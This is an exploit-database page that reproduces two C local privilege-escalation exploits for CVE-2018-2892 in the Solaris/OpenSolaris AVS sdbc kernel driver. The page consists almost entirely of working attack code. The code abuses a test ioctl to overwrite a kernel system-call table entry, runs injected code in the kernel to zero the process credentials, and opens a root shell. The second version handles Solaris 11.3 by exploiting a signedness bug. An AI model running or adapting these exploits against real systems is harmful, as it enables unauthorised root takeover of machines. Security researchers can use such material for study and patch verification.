Sun Solaris 11.3 AVS Kernel – Local Privilege Escalation

  • 作者: mu-b
    日期: 2018-08-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45126/
  • /*
    # Exploit Title: Solaris/OpenSolaris AVS kernel code execution
    # Google Dork: [if applicable]
    # Date: 24/7/2018
    # Exploit Author: mu-b
    # Vendor Homepage: oracle.com
    # Software Link:
    # Version: Solaris 10, Solaris <= 11.3
    # Tested on: Solaris 11.X, OpenSolaris
    # CVE : CVE-2018-2892
    
    http://digit-labs.org/files/exploits/sdbc-testinit.c
    http://digit-labs.org/files/exploits/sdbc-testinit-v2.c
    
    a few more added to digit-labs as well, old irix-espd remote root for 
    irix as well.
    
    /* sdbc-testinit.c
     *
     * Copyright (c) 2008 by <mu-b@digit-labs.org>
     *
     * Sun Opensolaris <= snv_104 local kernel root exploit
     * by mu-b - Sun 21 Dec 2008
     *
     * $Id: sdbc-testinit.c 37 2018-07-23 20:08:39Z mu-b $
     *
     * - Tested on: Opensolaris snv_104 (i86pc)
     *
     * hmmm, this has gotta be test code!?%$!
     *
     *- Private Source Code -DO NOT DISTRIBUTE -
     * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #include <fcntl.h>
    #include <libelf.h>
    #include <string.h>
    #include <stropts.h>
    #include <sys/elf.h>
    #include <sys/mman.h>
    #include <sys/param.h>
    #include <sys/syscall.h>
    #include <unistd.h>
    
    #define SDBC(a) (('B'<<16)|('C'<<8)|(a))
    #define SDBC_TEST_INITSDBC(5)
    
    typedef struct _sdbc_ioctl32_s {
    unsigned int arg0;
    unsigned int arg1;
    unsigned int arg2;
    unsigned int arg3;
    unsigned int arg4;
    unsigned int magic;
    unsigned int ustatus;
    unsigned int pad[1];
    } _sdbc_ioctl32_t;
    
    typedef struct _sysent_s {
    char sy_narg;
    #ifdef _LP64
    unsigned short sy_flags;
    #else
    unsigned char sy_flags;
    #endif
    int (*sy_call)();
    void *sy_lock;
    void *sy_callc;
    } _sysent_t;
    
    #ifdef _LP64
    #define KTHREAD 0x16
    #else
    #define KTHREAD 0x10
    #endif
    
    #define XSTRINGY(a) STRINGY(a)
    #define STRINGY(a)#a
    
    int
    pown_kernel (void)
    {
    __asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %eax\n"
    "mov 0xdc(%eax), %eax\n"
    "mov 0x14(%eax), %eax\n"
    "movl $0x0, 0x4(%eax)\n"
    "movl $0x0, 0xc(%eax)");
    return (0);
    }
    
    static void *
    resolve_kernsymbl (char *name)
    {
    Elf_Scn *scn = NULL;
    Elf *elf;
    void *r = NULL;
    int fd;
    
    fd = open ("/dev/ksyms", O_RDONLY);
    if (fd < 0)
    {
    fprintf (stderr, "failed opening /dev/ksyms\n");
    return (NULL);
    }
    
    elf_version (EV_CURRENT);
    
    if ((elf = elf_begin (fd, ELF_C_READ, NULL)) == NULL)
    {
    fprintf (stderr, "elf_begin failed\n");
    goto done;
    }
    
    while ((scn = elf_nextscn (elf, scn)) != 0)
    {
    Elf32_Shdr *shdr;
    
    if ((shdr = elf32_getshdr (scn)) != 0)
    {
    if (shdr->sh_type == SHT_SYMTAB)
    {
    Elf_Data *data = NULL;
    
    if ((data = elf_getdata (scn, data)) == 0 || data->d_size == 0)
    continue;
    
    Elf32_Sym *esym = (Elf32_Sym *) data->d_buf;
    Elf32_Sym *lastsym = (Elf32_Sym *) ((char *) data->d_buf + data->d_size);
    
    for (; esym < lastsym; esym++)
    {
    if (esym->st_value == 0 ||
    (ELF32_ST_TYPE(esym->st_info) == STT_FUNC)) 
    continue;
    
    if (strcmp (name, elf_strptr (elf, shdr->sh_link, (size_t) esym->st_name)) == 0)
    {
    r = (void *) esym->st_value;
    goto done;
    }
    }
    }
    }
    }
    
    done:
    elf_end (elf);
    close (fd);
    
    return (r);
    }
    
    int
    main (int argc, char **argv)
    {
    void *devarrayp, *sysentp, *ptr, *target;
    _sdbc_ioctl32_t sdcp_ioctl;
    _sysent_t sysent;
    int devindx, fd, id, n, sysindx;
    
    printf ("Sun Opensolaris <= snv_104 local kernel root exploit\n"
    "by: <mu-b@digit-labs.org>\n"
    "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
    
    fd = open ("/dev/sdbc", O_RDONLY);
    if (fd < 0)
    {
    fprintf (stderr, "%s: failed opening /dev/sdbc\n", argv[0]);
    return (EXIT_FAILURE);
    }
    
    memset (&sysent, 0, sizeof (sysent));
    sysent.sy_narg = 0;
    sysent.sy_flags = 0;
    sysent.sy_call = pown_kernel;
    sysent.sy_lock = NULL;
    sysent.sy_callc = NULL;
    
    devarrayp = resolve_kernsymbl ("devarray");
    if (devarrayp == NULL)
    {
    fprintf (stderr, "%s: failed resolving &devarray\n", argv[0]);
    return (EXIT_FAILURE);
    }
    
    sysentp = resolve_kernsymbl ("sysent");
    if (sysentp == NULL)
    {
    fprintf (stderr, "%s: failed resolving &sysent\n", argv[0]);
    return (EXIT_FAILURE);
    }
    
    sysentp += 8; /* any ideas? */
    target = sysentp + 0x2C0;
    sysindx = ((int) target - (int) sysentp) / sizeof (sysent);
    devindx = ((char *) target - (char *) devarrayp) / 256;
    
    ptr = mmap (NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
    if ((int) ptr == -1)
    {
    fprintf (stderr, "failed mmap\n");
    return (EXIT_FAILURE);
    }
    
    memset (ptr, 0, PAGESIZE);
    memcpy ((ptr + PAGESIZE) - sizeof (sysent), &sysent, sizeof (sysent));
    
    memset (&sdcp_ioctl, 0, sizeof (sdcp_ioctl));
    sdcp_ioctl.arg0 = (unsigned int) (ptr + PAGESIZE) - sizeof (sysent);
    sdcp_ioctl.arg1 = devindx;
    sdcp_ioctl.arg2 = sizeof (sysent) * 2;
    
    printf ("* devarray: 0x%08X, sysent: 0x%08X, target: 0x%08X\n", (int) devarrayp, (int) sysentp, (int) target);
    printf ("* devarray idx: %u\n", sdcp_ioctl.arg1);
    printf ("* sysent idx: %u\n", sysindx);
    
    printf ("\n* overwriting... ");
    n = ioctl (fd, SDBC_TEST_INIT, &sdcp_ioctl);
    printf ("done\n");
    
    printf ("\n* jumping... ");
    syscall (sysindx);
    printf ("done\n\n");
    
    id = getuid ();
    printf ("* getuid(): %d\n", id);
    if (id == 0)
    {
    printf ("+Wh00t\n\n");
    
    /* exec shell, for some reason execve doesn't work!?$! */
    system ("/bin/bash");
    }
    else
    fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);
    
    return (EXIT_SUCCESS);
    }
    */
    
    /* sdbc-testinit-v2.c
     *
     * Copyright (c) 2008-2017 by <mu-b@digit-labs.org>
     *
     * Sun Solaris <= 11.3 AVS local kernel root exploit
     * by mu-b - Tue 16 May 2017
     *
     * $Id: sdbc-testinit-v2.c 37 2018-07-23 20:08:39Z mu-b $
     *
     * - Tested on: Solaris 5.11 11.3 + AVS (i86pc)
     *Opensolaris snv_104 + AVS (i86pc)
     *
     * hmmm, this has gotta be test code!?%$!
     *
     * This was originally found in OpenSolaris and later ported to Solaris with the
     * exception that we now have to exploit a signedness bug in the devarray index
     * parameter whereas previously it was unbounded! (see sdbc-testinit.c).
     *
     *- Private Source Code -DO NOT DISTRIBUTE -
     * http://www.digit-labs.org/ -- Digit-Labs 2008-2017!@$!
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #include <fcntl.h>
    #include <libelf.h>
    #include <limits.h>
    #include <string.h>
    #include <stropts.h>
    #include <sys/elf.h>
    #include <sys/mman.h>
    #include <sys/param.h>
    #include <sys/syscall.h>
    #include <unistd.h>
    
    #define SDBC(a) (('B'<<16)|('C'<<8)|(a))
    #define SDBC_TEST_INITSDBC(5)
    
    typedef struct _sdbc_ioctl {
    long arg0;
    long arg1;
    long arg2;
    long arg3;
    long arg4;
    long magic;
    long ustatus;
    long pad[1];
    } _sdbc_ioctl_t;
    
    typedef struct _sysent_s {
    char sy_narg;
    #ifdef _LP64
    unsigned short sy_flags;
    #else
    unsigned char sy_flags;
    #endif
    int (*sy_call)();
    void *sy_lock;
    void *sy_callc;
    } _sysent_t;
    
    #ifdef _LP64
    # define KTHREAD0x18
    #else
    # define KTHREAD0x10
    #endif
    
    #define XSTRINGY(a) STRINGY(a)
    #define STRINGY(a)#a
    
    int
    pown_kernel (void)
    {
    #ifdef _LP64
    __asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %rax\n"
    "mov 0x1c8(%rax), %rax\n"
    "movl $0x0, 0x4(%rax)\n"/* kthread_t->t_cred->cr_uid */
    "movl $0x0, 0x8(%rax)\n"/* kthread_t->t_cred->cr_gid */
    "movl $0x0, 0xc(%rax)\n"/* kthread_t->t_cred->cr_ruid */
    "movl $0x0, 0x10(%rax)"); /* kthread_t->t_cred->cr_rgid */
    #else
    __asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %eax\n"
    "mov 0xdc(%eax), %eax\n"
    "mov 0x14(%eax), %eax\n"
    "movl $0x0, 0x4(%eax)\n"
    "movl $0x0, 0x8(%eax)\n"
    "movl $0x0, 0xc(%eax)\n"
    "movl $0x0, 0x10(%eax)");
    #endif
    return (0);
    }
    
    static void *
    resolve_kernsymbl (char *name)
    {
    Elf_Scn *scn = NULL;
    Elf *elf;
    void *r = NULL;
    int fd;
    
    fd = open ("/dev/ksyms", O_RDONLY);
    if (fd < 0)
    {
    fprintf (stderr, "failed opening /dev/ksyms\n");
    return (NULL);
    }
    
    elf_version (EV_CURRENT);
    
    if ((elf = elf_begin (fd, ELF_C_READ, NULL)) == NULL)
    {
    fprintf (stderr, "elf_begin failed\n");
    goto done;
    }
    
    while ((scn = elf_nextscn (elf, scn)) != 0)
    {
    #ifdef _LP64
    Elf64_Shdr *shdr;
    if ((shdr = elf64_getshdr (scn)) != 0)
    #else
    Elf32_Shdr *shdr;
    if ((shdr = elf32_getshdr (scn)) != 0)
    #endif
    {
    if (shdr->sh_type == SHT_SYMTAB)
    {
    Elf_Data *data = NULL;
    
    if ((data = elf_getdata (scn, data)) == 0 || data->d_size == 0)
    continue;
    
    #ifdef _LP64
    Elf64_Sym *esym = (Elf64_Sym *) data->d_buf;
    Elf64_Sym *lastsym = (Elf64_Sym *) ((char *) data->d_buf + data->d_size);
    #else
    Elf32_Sym *esym = (Elf32_Sym *) data->d_buf;
    Elf32_Sym *lastsym = (Elf32_Sym *) ((char *) data->d_buf + data->d_size);
    #endif
    
    for (; esym < lastsym; esym++)
    {
    if (esym->st_value == 0 ||
    #ifdef _LP64
    (ELF64_ST_TYPE(esym->st_info) == STT_FUNC)) 
    #else
    (ELF32_ST_TYPE(esym->st_info) == STT_FUNC)) 
    #endif
    continue;
    
    if (strcmp (name, elf_strptr (elf, shdr->sh_link, (size_t) esym->st_name)) == 0)
    {
    r = (void *) esym->st_value;
    goto done;
    }
    }
    }
    }
    }
    
    done:
    elf_end (elf);
    close (fd);
    
    return (r);
    }
    
    int
    main (int argc, char **argv)
    {
    void *devarrayp, *sysentp, *ptr, *targetp;
    int align, fd, id, n, sysindx;
    _sdbc_ioctl_t sdbc_ioctl;
    _sysent_t sysent;
    long devindx;
    
    printf ("Sun (Open)Solaris <= 11.3 AVS local kernel root exploit\n"
    "by: <mu-b@digit-labs.org>\n"
    "http://www.digit-labs.org/ -- Digit-Labs 2008-2017!@$!\n\n");
    
    fd = open ("/dev/sdbc", O_RDONLY);
    if (fd < 0)
    {
    fprintf (stderr, "%s: failed opening /dev/sdbc\n", argv[0]);
    return (EXIT_FAILURE);
    }
    
    memset (&sysent, 0, sizeof (sysent));
    sysent.sy_narg = 0;
    sysent.sy_flags = 0;
    sysent.sy_call = pown_kernel;
    sysent.sy_lock = pown_kernel;
    sysent.sy_callc = pown_kernel;
    
    devarrayp = resolve_kernsymbl ("devarray");
    if (devarrayp == NULL)
    {
    fprintf (stderr, "%s: failed resolving &devarray\n", argv[0]);
    return (EXIT_FAILURE);
    }
    
    sysentp = resolve_kernsymbl ("sysent");
    if (sysentp == NULL)
    {
    fprintf (stderr, "%s: failed resolving &sysent\n", argv[0]);
    return (EXIT_FAILURE);
    }
    
    /* devarray elements are 256-bytes in size, so we can only write at an offset
     * aligned to devarrayp & 0xff */
    targetp = (void *) (((long) sysentp & ~0xFF) | ((long) devarrayp & 0xFF));
    targetp += 0x1700;
    sysindx = ((long) targetp - (long) sysentp) / sizeof (sysent);
    devindx = ((char *) targetp - (char *) devarrayp) / 256;
    devindx = (long) LONG_MIN + devindx;
    
    ptr = mmap (NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
    if (ptr == (void *) -1)
    {
    fprintf (stderr, "failed mmap\n");
    return (EXIT_FAILURE);
    }
    
    memset (ptr, 0, PAGESIZE);
    
    align = ((long) sysentp & 0x0F) - ((long) devarrayp & 0x0F);
    if (align < 0)
    align = -align;
    memcpy ((ptr + PAGESIZE) - sizeof (sysent) - align, &sysent, sizeof (sysent));
    
    memset (&sdbc_ioctl, 0, sizeof (sdbc_ioctl));
    sdbc_ioctl.arg0 = (long) (ptr + PAGESIZE) - sizeof (sysent);
    sdbc_ioctl.arg1 = devindx;
    sdbc_ioctl.arg2 = sizeof (sysent) * 2;
    #ifdef _LP64
    printf ("* devarray: 0x%016lX, sysent: 0x%016lX, target: 0x%016lX\n", (long) devarrayp, (long) sysentp, (long) targetp);
    printf ("* devarray idx: %ld %016lX\n", devindx, devindx);
    #else
    printf ("* devarray: 0x%08lX, sysent: 0x%08lX, target: 0x%08lX\n", (long) devarrayp, (long) sysentp, (long) targetp);
    printf ("* devarray idx: %ld %08lX\n", devindx, devindx);
    #endif
    printf ("* sysent idx: %u\n", sysindx);
    
    printf ("\n* overwriting... ");
    n = ioctl (fd, SDBC_TEST_INIT, &sdbc_ioctl);
    if (n != -1)
    {
    printf ("failed, ouch (%d)\n", n);
    return (EXIT_FAILURE);
    }
    printf ("done\n");
    
    printf ("* jumping... ");
    syscall (sysindx);
    printf ("done\n");
    
    id = getuid ();
    printf ("* getuid(): %d\n", id);
    if (id == 0)
    {
    char *args[2] = { "/bin/sh", NULL };
    printf ("+Wh00t\n\n");
    
    execve (args[0], args, NULL);
    }
    else
    fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);
    
    return (EXIT_SUCCESS);
    }